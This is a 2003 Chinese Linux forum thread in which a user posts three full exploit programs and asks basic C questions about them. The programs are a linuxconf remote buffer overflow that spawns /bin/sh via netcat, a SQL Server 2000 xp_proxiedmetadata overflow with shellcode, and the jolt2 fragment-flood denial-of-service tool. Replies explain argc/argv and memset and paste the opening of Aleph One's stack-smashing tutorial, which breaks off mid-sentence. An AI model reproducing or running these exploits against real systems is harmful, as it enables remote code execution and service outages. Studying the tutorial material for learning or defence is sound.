LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 6807|回复: 27

婷婷:缓冲区溢出源代码

[复制链接]
发表于 2003-4-23 10:25:42 | 显示全部楼层 |阅读模式
源代码如下:

这是缓冲区溢出的"linuxconf"
/*

linuxconf exploit by R00T-X (c) 1999

USER_AGENT overflow x86
should work on all linux's but you need to have
network access to linuxconf

greetz to: j0e, AcidCrunCh, |420|, umm and everyone who knows me, heh

have fun with this but for EDUCATIONAL PURPOSES

Usage:  (./linexp <offset>;cat)| nc targethost 98

*/

char shell[] =

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh\x00";

#include <stdio.h>
#include <stdlib.h>
#include <limits.h>
#include <string.h>

#define BUFLEN 1025
#define NOP 0x90

void
main (int argc, char *argv[])//argc ,argv[]指的是什么意思,功能呢?
{
char buf[BUFLEN];
int offset,nop,i;
unsigned long esp;
char shell[1024+300];

if(argc < 2)
{
fprintf(stderr,"usage: (%s <offset>;cat)|nc host.com 98\n", argv[0]);
exit(0);
}

nop = 511;
esp = 0xefbfd5e8;
offset = atoi(argv[1]);

memset(buf, NOP, BUFLEN);  //memset是什么功能的函数?
memcpy(buf+(long)nop, shell, strlen(shell));

for (i = 256; i < BUFLEN - 3; i += 2)
{   *((int *) &buf) = esp + (long) offset;
  shell[ sizeof(shell)-1 ] = 0;
}

printf("OST / HTTP/1.0\r\nContent-Length: %d, User-agent: \r\n", BUFLEN);
for (i = 0; i < BUFLEN; i++)
  putchar(buf);

printf("\r\n");

return;
}

这是缓冲区溢出的"SQL SERVER 2000"

// SQL2KOverflow.c
// This code creates a file called 'SQL2KOverflow.txt' in the root of the
// c: drive.


#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <lmcons.h>
#include <sql.h>
#include <sqlext.h>


int Syntax()
{
        printf( "Syntax error. Correct syntax is:\nSQL2KOverflow
<hostname> <username> <password>");
        return 1;
}


int main(int argc, char *argv[])
{
        char szBuffer[1025];
        SWORD     swStrLen;
        SQLHDBC   hdbc;
        SQLRETURN nResult;            
        SQLHANDLE henv;
        HSTMT  hstmt;                     
        SCHAR InConnectionString[1025] = "DRIVER={SQL Server};SERVER=";
        UCHAR query[20000] = "exec xp_proxiedmetadata 'a', '";
        int count;

        if ( argc != 4 )
        {
                return Syntax();
        }

        if ( ( strlen( argv[1] ) > 250 ) ||
                ( strlen( argv[2] ) > 250 )  ||
                ( strlen( argv[3] ) > 250 ) )
                return Syntax();

        strcat( InConnectionString, argv[1] );
        strcat( InConnectionString, ";UID=" );
        strcat( InConnectionString, argv[2] );
        strcat( InConnectionString, "WD=" );
        strcat( InConnectionString, argv[3] );
        strcat( InConnectionString, ";DATABASE=master" );

        for ( count = 30; count < 2598; count++ )
                query[count] = (char)0x90;
       
        query[count] = 0;

        // 0x77782548 = wx%H = this works sp0
        strcat( query, "\x48\x25\x78\x77" );
       
        strcat( query,
"\x90\x90\x90\x90\x90\x33\xC0Ph.txthflowhOverhQL2khc:\\STYPP@PHPPPQ\xB8\x8D+\xE9\x77\xFF\xD0\x33\xC0P\xB8\xCF\x06\xE9\x77\xFF\xD0"
);
       
        strcat( query, "', 'a', 'a'" );


        if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&henv) !=
SQL_SUCCESS)
                {
                        printf("Error SQLAllocHandle");
                        return 0;

                }

        if (SQLSetEnvAttr(henv, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
                {
                        printf("Error SQLSetEnvAttr");
                        return 0;

                }


        if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,henv,(SQLHDBC FAR
*)&hdbc)) != SQL_SUCCESS)
                {
                        printf("SQLAllocHandle - 2");
                        return 0;
                       
                }

        nResult = SQLDriverConnect(hdbc, NULL, InConnectionString,
strlen(InConnectionString), szBuffer,  1024, &swStrLen,
SQL_DRIVER_COMPLETE_REQUIRED);      
        if(( nResult == SQL_SUCCESS ) | ( nResult ==
SQL_SUCCESS_WITH_INFO) )
                {

                        printf("Connected to MASTER database...\n\n");
                        SQLAllocStmt(hdbc,&hstmt);
                }



        if(SQLExecDirect(hstmt,query,SQL_NTS) ==SQL_SUCCESS)
                {
                        printf("\nSQL Query error");

                        return 0;

                }
        printf("Buffer sent...");       
       


return 0;
}

这是DDOS的"JOLT2"

/*
* File:   jolt2.c
* Author: Phonix <phonix@moocow.org>
* Date:   23-May-00
*
* Description: This is the proof-of-concept code for the
*              Windows denial-of-serice attack described by
*              the Razor team (NTBugtraq, 19-May-00)
*              (MS00-029).  This code causes cpu utilization
*              to go to 100%.
*
* Tested against: Firewall-1
*
* Written for: My Linux box.  YMMV.  Deal with it.
*
* Thanks: This is standard code.  Ripped from lots of places.  
*         Insert your name here if you think you wrote some of
*         it.  It's a trivial exploit, so I won't take credit  
*         for anything except putting this file together.      
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct _pkt
{
  struct iphdr    ip;
  union {
    struct icmphdr  icmp;
    struct udphdr   udp;
  }  proto;
  char data;
} pkt;

int icmplen  = sizeof(struct icmphdr),
    udplen   = sizeof(struct udphdr),
    iplen    = sizeof(struct iphdr),
    spf_sck;

void usage(char *pname)
{
  fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname);
  fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n");
  exit(0);
}

u_long host_to_ip(char *host_name)
{
  static  u_long ip_bytes;
  struct hostent *res;

  res = gethostbyname(host_name);
  if (res == NULL)
    return (0);
  memcpy(&ip_bytes, res->h_addr, res->h_length);//memcpy是什么功能的函数
  return (ip_bytes);
}

void quit(char *reason)
{
  perror(reason);
  close(spf_sck);
  exit(-1);
}

int do_frags (int sck, u_long src_addr, u_long dst_addr, int port)
{
  int     bs, psize;
  unsigned long x;
  struct  sockaddr_in to;

  to.sin_family = AF_INET;
  to.sin_port = 1235;
  to.sin_addr.s_addr = dst_addr;

  if (port)
    psize = iplen + udplen + 1;
  else
    psize = iplen + icmplen + 1;
  memset(&pkt, 0, psize);

  pkt.ip.version = 4;
  pkt.ip.ihl = 5;
  pkt.ip.tot_len = htons(iplen + icmplen) + 40;
  pkt.ip.id = htons(0x455);
  pkt.ip.ttl = 255;
  pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);
  pkt.ip.saddr = src_addr;
  pkt.ip.daddr = dst_addr;
  pkt.ip.frag_off = htons (8190);

  if (port)
  {
    pkt.proto.udp.source = htons(port|1235);
    pkt.proto.udp.dest = htons(port);
    pkt.proto.udp.len = htons(9);
    pkt.data = 'a';
  } else {
    pkt.proto.icmp.type = ICMP_ECHO;
    pkt.proto.icmp.code = 0;
    pkt.proto.icmp.checksum = 0;
  }

  while (1) {
    bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,
              sizeof(struct sockaddr));
  }
  return bs;
}

int main(int argc, char *argv[])
{
  u_long  src_addr, dst_addr;
  int i, bs=1, port=0;
  char hostname[32];

  if (argc < 2)
    usage (argv[0]);

  gethostname (hostname, 32);
  src_addr = host_to_ip(hostname);

  while ((i = getopt (argc, argv, "s:p:h")) != EOF)
  {
    switch (i)
    {
      case 's':
        dst_addr = host_to_ip(optarg);
        if (!dst_addr)
          quit("Bad source address given.");
        break;

      case 'p':
        port = atoi(optarg);
        if ((port <=0) || (port > 65535))
          quit ("Invalid port number given.");
        break;

      case 'h':
      default:
        usage (argv[0]);
    }
  }

  dst_addr = host_to_ip(argv[argc-1]);
  if (!dst_addr)
    quit("Bad destination address given.");

  spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (!spf_sck)
    quit("socket()");
  if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,
      sizeof(bs)) < 0)
    quit("IP_HDRINCL");

  do_frags (spf_sck, src_addr, dst_addr, port);
}
/*                   www.hack.co.za   [2 December 2000]*/

谢谢这位帅哥

万分感激你给予我帮助!
           婷婷
           2003 04 24
发表于 2003-4-23 14:35:59 | 显示全部楼层
以第一个程序为例:
argc和argv是用来处理命令行参数的。argc表示命令参数的个数。argv则是具体的命令行参数字体串数组。如执行命令"ls -l filename",则argc为3,而argv[0]就是ls, 相应地,argv[1]我argv[2]就是-l 和 filename。如果执行的命令是"ls filename“,则参数argc只有两个,argv[0]就是ls,argv[1]就应filename。其余的以此类推。这里就是要求执行命令时要带上一个offset参数。
memset的功能就是把缓冲区buf的每个字节设置为NOP的数值,也就是0x90。下面的memcpy是在内存中把shell复制到buf中去,从长度上看,应该是溢出了。
发表于 2003-4-23 14:53:20 | 显示全部楼层
如果你有汇编的功力,看看这遍文章:
  1.         .oO Phrack 49 Oo.

  2.                           Volume Seven, Issue Forty-Nine
  3.                                     
  4.                                   File 14 of 16

  5.                       BugTraq, r00t, and Underground.Org
  6.                                    bring you

  7.                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
  8.                      Smashing The Stack For Fun And Profit
  9.                      XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

  10.                                  by Aleph One
  11.                              [email]aleph1@underground.org[/email]

  12.         `smash the stack` [C programming] n. On many C implementations
  13.         it is possible to corrupt the execution stack by writing past
  14.         the end of an array declared auto in a routine.  Code that does
  15.         this is said to smash the stack, and can cause return from the
  16.         routine to jump to a random address.  This can produce some of
  17.         the most insidious data-dependent bugs known to mankind.
  18.         Variants include trash the stack, scribble the stack, mangle
  19.         the stack; the term mung the stack is not used, as this is
  20.         never done intentionally. See spam; see also alias bug,
  21.         fandango on core, memory leak, precedence lossage, overrun screw.


  22.                                  Introduction
  23.                                  ~~~~~~~~~~~~

  24.    Over the last few months there has been a large increase of buffer
  25. overflow vulnerabilities being both discovered and exploited.  Examples
  26. of these are syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt
  27. library, at, etc.  This paper attempts to explain what buffer overflows
  28. are, and how their exploits work.

  29.    Basic knowledge of assembly is required.  An understanding of virtual
  30. memory concepts, and experience with gdb are very helpful but not necessary.
  31. We also assume we are working with an Intel x86 CPU, and that the operating
  32. system is Linux.

  33.    Some basic definitions before we begin: A buffer is simply a contiguous
  34. block of computer memory that holds multiple instances of the same data
  35. type.  C programmers normally associate with the word buffer arrays. Most
  36. commonly, character arrays.  Arrays, like all variables in C, can be
  37. declared either static or dynamic.  Static variables are allocated at load
  38. time on the data segment.  Dynamic variables are allocated at run time on
  39. the stack. To overflow is to flow, or fill over the top, brims, or bounds.
  40. We will concern ourselves only with the overflow of dynamic buffers, otherwise
  41. known as stack-based buffer overflows.


  42.                           Process Memory Organization
  43.                           ~~~~~~~~~~~~~~~~~~~~~~~~~~~

  44.    To understand what stack buffers are we must first understand how a
  45. process is organized in memory.  Processes are divided into three regions:
  46. Text, Data, and Stack.  We will concentrate on the stack region, but first
  47. a small overview of the other regions is in order.

  48.    The text region is fixed by the program and includes code (instructions)
  49. and read-only data.  This region corresponds to the text section of the
  50. executable file.  This region is normally marked read-only and any attempt to
  51. write to it will result in a segmentation violation.

  52.    The data region contains initialized and uninitialized data.  Static
  53. variables are stored in this region.  The data region corresponds to the
  54. data-bss sections of the executable file.  Its size can be changed with the
  55. brk(2) system call.  If the expansion of the bss data or the user stack
  56. exhausts available memory, the process is blocked and is rescheduled to
  57. run again with a larger memory space. New memory is added between the data
  58. and stack segments.

  59.                              /------------------\  lower
  60.                              |                  |  memory
  61.                              |       Text       |  addresses
  62.                              |                  |
  63.                              |------------------|
  64.                              |   (Initialized)  |
  65.                              |        Data      |
  66.                              |  (Uninitialized) |
  67.                              |------------------|
  68.                              |                  |
  69.                              |       Stack      |  higher
  70.                              |                  |  memory
  71.                              \------------------/  addresses

  72.                          Fig. 1 Process Memory Regions


  73.                                What Is A Stack?
  74.                                ~~~~~~~~~~~~~~~~

  75.    A stack is an abstract data type frequently used in computer science.  A
  76. stack of objects has the property that the last object placed on the stack
  77. will be the first object removed.  This property is commonly referred to as
  78. last in, first out queue, or a LIFO.

  79.    Several operations are defined on stacks.  Two of the most important are
  80. PUSH and POP.  PUSH adds an element at the top of the stack.  POP, in
  81. contrast, reduces the stack size by one by removing the last element at the
  82. top of the stack.


  83.                             Why Do We Use A Stack?
  84.                             ~~~~~~~~~~~~~~~~~~~~~~

  85.    Modern computers are designed with the need of high-level languages in
  86. mind.  The most important technique for structuring programs introduced by
  87. high-level languages is the procedure or function.  From one point of view, a
  88. procedure call alters the flow of control just as a jump does, but unlike a
  89. jump, when finished performing its task, a function returns control to the
  90. statement or instruction following the call.  This high-level abstraction
  91. is implemented with the help of the stack.

  92.   The stack is also used to dynamically allocate the local variables used in
  93. functions, to pass parameters to the functions, and to return values from the
  94. function.


  95.                                The Stack Region
  96.                                ~~~~~~~~~~~~~~~~

  97.    A stack is a contiguous block of memory containing data.  A register called
  98. the stack pointer (SP) points to the top of the stack.  The bottom of the
  99. stack is at a fixed address.  Its size is dynamically adjusted by the kernel
  100. at run time. The CPU implements instructions to PUSH onto and POP off of the
  101. stack.

  102.    The stack consists of logical stack frames that are pushed when calling a
  103. function and popped when returning.  A stack frame contains the parameters to
  104. a function, its local variables, and the data necessary to recover the
  105. previous stack frame, including the value of the instruction pointer at the
  106. time of the function call.

  107.    Depending on the implementation the stack will either grow down (towards
  108. lower memory addresses), or up.  In our examples we'll use a stack that grows
  109. down.  This is the way the stack grows on many computers including the Intel,
  110. Motorola, SPARC and MIPS processors.  The stack pointer (SP) is also
  111. implementation dependent.  It may point to the last address on the stack, or
  112. to the next free available address after the stack.  For our discussion we'll
  113. assume it points to the last address on the stack.

  114.    In addition to the stack pointer, which points to the top of the stack
  115. (lowest numerical address), it is often convenient to have a frame pointer
  116. (FP) which points to a fixed location within a frame.  Some texts also refer
  117. to it as a local base pointer (LB).  In principle, local variables could be
  118. referenced by giving their offsets from SP.  However, as words are pushed onto
  119. the stack and popped from the stack, these offsets change.  Although in some
  120. cases the compiler can keep track of the number of words on the stack and
  121. thus correct the offsets, in some cases it cannot, and in all cases
  122. considerable administration is required.  Futhermore, on some machines, such
  123. as Intel-based processors, accessing a variable at a known distance from SP
  124. requires multiple instructions.

  125.    Consequently, many compilers use a second register, FP, for referencing
  126. both local variables and parameters because their distances from FP do
  127. not change with PUSHes and POPs.  On Intel CPUs, BP (EBP) is used for this
  128. purpose.  On the Motorola CPUs, any address register except A7 (the stack
  129. pointer) will do.  Because the way our stack grows, actual parameters have
  130. positive offsets and local variables have negative offsets from FP.

  131.    The first thing a procedure must do when called is save the previous FP
  132. (so it can be restored at procedure exit).  Then it copies SP into FP to
  133. create the new FP, and advances SP to reserve space for the local variables.
  134. This code is called the procedure prolog.  Upon procedure exit, the stack
  135. must be cleaned up again, something called the procedure epilog.  The Intel
  136. ENTER and LEAVE instructions and the Motorola LINK and UNLINK instructions,
  137. have been provided to do most of the procedure prolog and epilog work
  138. efficiently.

  139.    Let us see what the stack looks like in a simple example:

  140. example1.c:
  141. ------------------------------------------------------------------------------
  142. void function(int a, int b, int c) {
  143.    char buffer1[5];
  144.    char buffer2[10];
  145. }

  146. void main() {
  147.   function(1,2,3);
  148. }
  149. ------------------------------------------------------------------------------

  150.    To understand what the program does to call function() we compile it with
  151. gcc using the -S switch to generate assembly code output:

  152. $ gcc -S -o example1.s example1.c

  153.    By looking at the assembly language output we see that the call to
  154. function() is translated to:

  155.         pushl $3
  156.         pushl $2
  157.         pushl $1
  158.         call function

  159.     This pushes the 3 arguments to function backwards into the stack, and
  160. calls function().  The instruction 'call' will push the instruction pointer
  161. (IP) onto the stack.  We'll call the saved IP the return address (RET).  The
  162. first thing done in function is the procedure prolog:

  163.         pushl %ebp
  164.         movl %esp,%ebp
  165.         subl $20,%esp

  166.    This pushes EBP, the frame pointer, onto the stack.  It then copies the
  167. current SP onto EBP, making it the new FP pointer.  We'll call the saved FP
  168. pointer SFP.  It then allocates space for the local variables by subtracting
  169. their size from SP.

  170.    We must remember that memory can only be addressed in multiples of the
  171. word size.  A word in our case is 4 bytes, or 32 bits.  So our 5 byte buffer
  172. is really going to take 8 bytes (2 words) of memory, and our 10 byte buffer
  173. is going to take 12 bytes (3 words) of memory.  That is why SP is being
  174. subtracted by 20.  With that in mind our stack looks like this when
  175. function() is called (each space represents a byte):


  176. bottom of                                                            top of
  177. memory                                                               memory
  178.            buffer2       buffer1   sfp   ret   a     b     c
  179. <------   [            ][        ][    ][    ][    ][    ][    ]
  180.           
  181. top of                                                            bottom of
  182. stack                                                                 stack


  183.                                Buffer Overflows
  184.                                ~~~~~~~~~~~~~~~~

  185.    A buffer overflow is the result of stuffing more data into a buffer than
  186. it can handle.  How can this often found programming error can be taken
  187. advantage to execute arbitrary code?  Lets look at another example:

  188. example2.c
  189. ------------------------------------------------------------------------------
  190. void function(char *str) {
  191.    char buffer[16];

  192.    strcpy(buffer,str);
  193. }

  194. void main() {
  195.   char large_string[256];
  196.   int i;

  197.   for( i = 0; i < 255; i++)
  198.     large_string[i] = 'A';

  199.   function(large_string);
  200. }
  201. ------------------------------------------------------------------------------

  202.    This is program has a function with a typical buffer overflow coding
  203. error.  The function copies a supplied string without bounds checking by
  204. using strcpy() instead of strncpy().  If you run this program you will get a
  205. segmentation violation.  Lets see what its stack looks when we call function:


  206. bottom of                                                            top of
  207. memory                                                               memory
  208.                   buffer            sfp   ret   *str
  209. <------          [                ][    ][    ][    ]

  210. top of                                                            bottom of
  211. stack                                                                 stack


  212.    What is going on here?  Why do we get a segmentation violation?  Simple.
  213. strcpy() is coping the contents of *str (larger_string[]) into buffer[]
  214. until a null character is found on the string.  As we can see buffer[] is
  215. much smaller than *str.  buffer[] is 16 bytes long, and we are trying to stuff
  216. it with 256 bytes.  This means that all 250 bytes after buffer in the stack
  217. are being overwritten.  This includes the SFP, RET, and even *str!  We had
  218. filled large_string with the character 'A'.  It's hex character value
  219. is 0x41.  That means that the return address is now 0x41414141.  This is
  220. outside of the process address space.  That is why when the function returns
  221. and tries to read the next instruction from that address you get a
  222. segmentation violation.

  223.    So a buffer overflow allows us to change the return address of a function.
  224. In this way we can change the flow of execution of the program.  Lets go back
  225. to our first example and recall what the stack looked like:


  226. bottom of                                                            top of
  227. memory                                                               memory
  228.            buffer2       buffer1   sfp   ret   a     b     c
  229. <------   [            ][        ][    ][    ][    ][    ][    ]

  230. top of                                                            bottom of
  231. stack                                                                 stack


  232.    Lets try to modify our first example so that it overwrites the return
  233. address, and demonstrate how we can make it execute arbitrary code.  Just
  234. before buffer1[] on the stack is SFP, and before it, the return address.
  235. That is 4 bytes pass the end of buffer1[].  But remember that buffer1[] is
  236. really 2 word so its 8 bytes long.  So the return address is 12 bytes from
  237. the start of buffer1[].  We'll modify the return value in such a way that the
  238. assignment statement 'x = 1;' after the function call will be jumped.  To do
  239. so we add 8 bytes to the return address.  Our code is now:

  240. example3.c:
  241. ------------------------------------------------------------------------------
  242. void function(int a, int b, int c) {
  243.    char buffer1[5];
  244.    char buffer2[10];
  245.    int *ret;

  246.    ret = buffer1 + 12;
  247.    (*ret) += 8;
  248. }

  249. void main() {
  250.   int x;

  251.   x = 0;
  252.   function(1,2,3);
  253.   x = 1;
  254.   printf("%d\n",x);
  255. }
  256. ------------------------------------------------------------------------------

  257.    What we have done is add 12 to buffer1[]'s address.  This new address is
  258. where the return address is stored.  We want to skip pass the assignment to
  259. the printf call.  How did we know to add 8 to the return address?  We used a
  260. test value first (for example 1), compiled the program, and then started gdb:

  261. ------------------------------------------------------------------------------
  262. [aleph1]$ gdb example3
  263. GDB is free software and you are welcome to distribute copies of it
  264. under certain conditions; type "show copying" to see the conditions.
  265. There is absolutely no warranty for GDB; type "show warranty" for details.
  266. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  267. (no debugging symbols found)...
  268. (gdb) disassemble main
  269. Dump of assembler code for function main:
  270. 0x8000490 <main>:       pushl  %ebp
  271. 0x8000491 <main+1>:     movl   %esp,%ebp
  272. 0x8000493 <main+3>:     subl   $0x4,%esp
  273. 0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
  274. 0x800049d <main+13>:    pushl  $0x3
  275. 0x800049f <main+15>:    pushl  $0x2
  276. 0x80004a1 <main+17>:    pushl  $0x1
  277. 0x80004a3 <main+19>:    call   0x8000470 <function>
  278. 0x80004a8 <main+24>:    addl   $0xc,%esp
  279. 0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
  280. 0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
  281. 0x80004b5 <main+37>:    pushl  %eax
  282. 0x80004b6 <main+38>:    pushl  $0x80004f8
  283. 0x80004bb <main+43>:    call   0x8000378 <printf>
  284. 0x80004c0 <main+48>:    addl   $0x8,%esp
  285. 0x80004c3 <main+51>:    movl   %ebp,%esp
  286. 0x80004c5 <main+53>:    popl   %ebp
  287. 0x80004c6 <main+54>:    ret
  288. 0x80004c7 <main+55>:    nop
  289. ------------------------------------------------------------------------------

  290.    We can see that when calling function() the RET will be 0x8004a8, and we
  291. want to jump past the assignment at 0x80004ab.  The next instruction we want
  292. to execute is the at 0x8004b2.  A little math tells us the distance is 8
  293. bytes.


  294.                                   Shell Code
  295.                                   ~~~~~~~~~~

  296.    So now that we know that we can modify the return address and the flow of
  297. execution, what program do we want to execute?  In most cases we'll simply
  298. want the program to spawn a shell.  From the shell we can then issue other
  299. commands as we wish.  But what if there is no such code in the program we
  300. are trying to exploit?  How can we place arbitrary instruction into its
  301. address space?  The answer is to place the code with are trying to execute in
  302. the buffer we are overflowing, and overwrite the return address so it points
  303. back into the buffer.  Assuming the stack starts at address 0xFF, and that S
  304. stands for the code we want to execute the stack would then look like this:


  305. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  306. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  307.            buffer                sfp   ret   a     b     c

  308. <------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
  309.            ^                            |
  310.            |____________________________|
  311. top of                                                            bottom of
  312. stack                                                                 stack


  313. The code to spawn a shell in C looks like:

  314. shellcode.c
  315. -----------------------------------------------------------------------------
  316. #include <stdio.h>

  317. void main() {
  318.    char *name[2];

  319.    name[0] = "/bin/sh";
  320.    name[1] = NULL;
  321.    execve(name[0], name, NULL);
  322. }
  323. ------------------------------------------------------------------------------

  324.    To find out what does it looks like in assembly we compile it, and start
  325. up gdb.  Remember to use the -static flag. Otherwise the actual code the
  326. for the execve system call will not be included.  Instead there will be a
  327. reference to dynamic C library that would normally would be linked in at
  328. load time.

  329. ------------------------------------------------------------------------------
  330. [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
  331. [aleph1]$ gdb shellcode
  332. GDB is free software and you are welcome to distribute copies of it
  333. under certain conditions; type "show copying" to see the conditions.
  334. There is absolutely no warranty for GDB; type "show warranty" for details.
  335. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
  336. (gdb) disassemble main
  337. Dump of assembler code for function main:
  338. 0x8000130 <main>:       pushl  %ebp
  339. 0x8000131 <main+1>:     movl   %esp,%ebp
  340. 0x8000133 <main+3>:     subl   $0x8,%esp
  341. 0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
  342. 0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
  343. 0x8000144 <main+20>:    pushl  $0x0
  344. 0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
  345. 0x8000149 <main+25>:    pushl  %eax
  346. 0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
  347. 0x800014d <main+29>:    pushl  %eax
  348. 0x800014e <main+30>:    call   0x80002bc <__execve>
  349. 0x8000153 <main+35>:    addl   $0xc,%esp
  350. 0x8000156 <main+38>:    movl   %ebp,%esp
  351. 0x8000158 <main+40>:    popl   %ebp
  352. 0x8000159 <main+41>:    ret
  353. End of assembler dump.
  354. (gdb) disassemble __execve
  355. Dump of assembler code for function __execve:
  356. 0x80002bc <__execve>:   pushl  %ebp
  357. 0x80002bd <__execve+1>: movl   %esp,%ebp
  358. 0x80002bf <__execve+3>: pushl  %ebx
  359. 0x80002c0 <__execve+4>: movl   $0xb,%eax
  360. 0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
  361. 0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
  362. 0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
  363. 0x80002ce <__execve+18>:        int    $0x80
  364. 0x80002d0 <__execve+20>:        movl   %eax,%edx
  365. 0x80002d2 <__execve+22>:        testl  %edx,%edx
  366. 0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
  367. 0x80002d6 <__execve+26>:        negl   %edx
  368. 0x80002d8 <__execve+28>:        pushl  %edx
  369. 0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
  370. 0x80002de <__execve+34>:        popl   %edx
  371. 0x80002df <__execve+35>:        movl   %edx,(%eax)
  372. 0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
  373. 0x80002e6 <__execve+42>:        popl   %ebx
  374. 0x80002e7 <__execve+43>:        movl   %ebp,%esp
  375. 0x80002e9 <__execve+45>:        popl   %ebp
  376. 0x80002ea <__execve+46>:        ret
  377. 0x80002eb <__execve+47>:        nop
  378. End of assembler dump.
  379. ------------------------------------------------------------------------------

  380. Lets try to understand what is going on here. We'll start by studying main:

  381. ------------------------------------------------------------------------------
  382. 0x8000130 <main>:       pushl  %ebp
  383. 0x8000131 <main+1>:     movl   %esp,%ebp
  384. 0x8000133 <main+3>:     subl   $0x8,%esp

  385.         This is the procedure prelude.  It first saves the old frame pointer,
  386.         makes the current stack pointer the new frame pointer, and leaves
  387.         space for the local variables. In this case its:

  388.         char *name[2];

  389.         or 2 pointers to a char. Pointers are a word long, so it leaves
  390.         space for two words (8 bytes).

  391. 0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)

  392.         We copy the value 0x80027b8 (the address of the string "/bin/sh")
  393.         into the first pointer of name[]. This is equivalent to:

  394.         name[0] = "/bin/sh";

  395. 0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)

  396.         We copy the value 0x0 (NULL) into the seconds pointer of name[].
  397.         This is equivalent to:

  398.         name[1] = NULL;

  399.         The actual call to execve() starts here.

  400. 0x8000144 <main+20>:    pushl  $0x0

  401.         We push the arguments to execve() in reverse order onto the stack.
  402.         We start with NULL.

  403. 0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax

  404.         We load the address of name[] into the EAX register.

  405. 0x8000149 <main+25>:    pushl  %eax

  406.         We push the address of name[] onto the stack.

  407. 0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax

  408.         We load the address of the string "/bin/sh" into the EAX register.

  409. 0x800014d <main+29>:    pushl  %eax

  410.         We push the address of the string "/bin/sh" onto the stack.

  411. 0x800014e <main+30>:    call   0x80002bc <__execve>

  412.         Call the library procedure execve().  The call instruction pushes the
  413.         IP onto the stack.
  414. ------------------------------------------------------------------------------

  415.    Now execve().  Keep in mind we are using a Intel based Linux system.  The
  416. syscall details will change from OS to OS, and from CPU to CPU.  Some will
  417. pass the arguments on the stack, others on the registers.  Some use a software
  418. interrupt to jump to kernel mode, others use a far call.  Linux passes its
  419. arguments to the system call on the registers, and uses a software interrupt
  420. to jump into kernel mode.

  421. ------------------------------------------------------------------------------
  422. 0x80002bc <__execve>:   pushl  %ebp
  423. 0x80002bd <__execve+1>: movl   %esp,%ebp
  424. 0x80002bf <__execve+3>: pushl  %ebx

  425.         The procedure prelude.

  426. 0x80002c0 <__execve+4>: movl   $0xb,%eax

  427.         Copy 0xb (11 decimal) onto the stack. This is the index into the
  428.         syscall table.  11 is execve.

  429. 0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx

  430.         Copy the address of "/bin/sh" into EBX.

  431. 0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx

  432.         Copy the address of name[] into ECX.

  433. 0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx

  434.         Copy the address of the null pointer into %edx.

  435. 0x80002ce <__execve+18>:        int    $0x80

  436.         Change into kernel mode.
  437. ------------------------------------------------------------------------------

  438. So as we can see there is not much to the execve() system call.  All we need
  439. to do is:

  440.         a) Have the null terminated string "/bin/sh" somewhere in memory.
  441.         b) Have the address of the string "/bin/sh" somewhere in memory
  442.            followed by a null long word.
  443.         c) Copy 0xb into the EAX register.
  444.         d) Copy the address of the address of the string "/bin/sh" into the
  445.            EBX register.
  446.         e) Copy the address of the string "/bin/sh" into the ECX register.
  447.         f) Copy the address of the null long word into the EDX register.
  448.         g) Execute the int $0x80 instruction.

  449.    But what if the execve() call fails for some reason?  The program will
